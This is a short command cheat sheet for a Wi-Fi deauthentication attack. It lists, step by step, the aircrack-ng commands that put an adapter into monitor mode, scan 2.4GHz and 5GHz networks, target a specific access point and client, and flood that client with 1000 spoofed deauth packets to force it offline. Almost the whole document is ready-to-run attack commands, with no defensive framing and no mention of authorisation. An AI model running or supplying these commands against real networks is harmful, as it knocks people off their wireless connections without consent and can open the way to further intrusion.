Deauthentication (Deauth)

Deauthentication attack that forcibly disconnects a wireless client from an access point by sending spoofed deauth packets.

Setup

Command
airmon-ng start wlan0
Description

Puts the wireless adapter into monitor mode.

Scanning

Command
airodump-ng wlan0mon
Description

Scans nearby networks on the 2.4GHz band.

Command
airodump-ng --band a wlan0mon
Description

Scans nearby networks on the 5GHz band.

Command
airodump-ng --band abg wlan0mon
Description

Scans nearby networks on both 2.4GHz and 5GHz bands.

Target

Command
airodump-ng --channel [channel_no] --bssid [BSSID] wlan0mon
Description

Focuses the scan on a specific target's channel (2.4GHz).

Command
airodump-ng --band a --channel [channel_no] --bssid [BSSID] wlan0mon
Description

Focuses the scan on a specific target's channel (5GHz).

Command
iwconfig wlan0mon channel [channel_no]
Description

Manually sets the adapter's channel (required for 5GHz).

Execution

Command
aireplay-ng --deauth 1000 -a [BSSID] -c [STATION] wlan0mon
Description

Sends deauthentication packets to disconnect a client (2.4GHz).

Command
aireplay-ng --deauth 1000 -D -a [BSSID] -c [STATION] wlan0mon
Description

Sends deauthentication packets to disconnect a client (5GHz).